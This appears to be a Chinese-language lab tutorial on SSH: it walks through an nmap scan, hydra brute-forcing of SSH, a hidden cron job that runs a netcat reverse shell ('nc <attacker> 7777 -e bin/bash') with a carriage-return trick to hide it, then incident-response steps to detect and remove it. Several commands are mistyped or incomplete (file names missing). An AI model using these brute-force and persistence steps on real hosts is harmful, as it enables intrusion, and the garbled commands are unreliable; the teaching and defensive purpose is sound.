简介
Secure Shell (安全外壳协议,简称SSH) 是一种加密的网络传输协议;
用途:安全远程登录;
SSH客户端:可帮助我们在windows下去连接并操作linux服务器。常见的SSH客户端有putty、SSH Secure Shell、MobaXterm 、Xshell等;
常用端口:22
爆破攻击
(1)信息收集
使用nmap扫描目标主机的端口:
nump 192.168.11.11(目标主机端口号)
发现22号端口已开启,尝试爆破;
(2)爆破SSH
使用hydra进行爆破:
hydra -L (用户名字典) -P (密码字典)ssh://192.168.11.11(目标主机的地址)
在Kali的命令行中输入hydra -h
即可查看hydra
的所有参数
参数名 | 参数含义 |
-l | 指定破解的用户,对特定用户破解 |
-L | 指定用户名字典 |
-p | 小写,指定密码破解,少用,一般是采用密码字典 |
-P | 大写,指定密码字典 |
-R | 继续从上一次进度接着破解 |
-S | 大写,采用SSL链接 |
-s | 小写,可通过这个参数指定非默认端口 |
-e | 可选选项,n:空密码试探,s:使用指定用户和密码试探 |
-t | 同时运行的线程数,默认为16 |
-C | 同时运行的线程数,默认为16 |
-M | 指定目标列表文件一行一条 |
-o | 指定结果输出文件 |
-f | 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解 |
-w | 设置最大超时的时间,单位秒,默认是30s |
-v / -V | 显示详细过程 |
server | 目标ip |
service | 指定服务名,支持的服务和协议 |
(3)SSH登录
ssh 用户名@目标主机地址
(4)尝试创建隐藏计划任务
进入 /tmp 目录创建 文件
cd /tmp
vim
#!/bin/bash
nc 攻击机地址 7777 -e bin/bash
给文件赋予可执行的权限
chown +x
查看文件的权限
ls -l
创建计划任务文件create_task.sh
vim create_task.sh
(crontab -l;printf "* * * * * /tmp/;\rno crontw-wab for 'whoami'%100c\n")|crontab -
给create_tash.sh文件赋予可执行的权限
chown +x create_tash.sh
(5)尝试nc连接目标主机的shell
nc -lvp 7777
3.应急响应
(1)事件排查
a、查看网络连接情况
netstat -antpl
b、查看守护进程
查看进程树
pstree -p
查看异常进程的具体情况
systemctl status 193250(异常进程)
c、查看计划任务
普通查看命令
crontab -l
查看隐藏命令
cat -A /var/spool/cron/crontabs/root
d、找到文件
查看计划任务创建时间
ls -l /tmp/
查看计划任务具体内容
cat /tmp/
(2)溯源分析
a、查看计划任务创建时间和其创建权限
ls -l /tmp/
b、查看登录日志
lask -f /var/log/wtmp //登陆成功
lask -f /var/log/btmp //登录失败
根据登录失败的日志异常,得出已被爆破的结论
c、总结
爆破时间、爆破用户、攻击者ip、攻击方式
(3)事件处置
a、删除计划任务、结束异常进程
删除计划任务
crontab -r -u root
查看计划任务是否删除成功
cat -A /var/spool/cron/crontabs/root
结束恶意进程
kill 193250
b、删除恶意文件
rm
rm create_task.sh
c、修改密码、关闭root用户远程连接的权限
修改密码
passwd root
关闭root用户远程连接的权限,修改PermitRootLogin为no,增强权限控制
vim /etc/ssh/sshd_config
d、修改ssh默认端口,将22端口修改成其他端口,并将#删掉/取消注释
vim /etc/ssh/sshd_config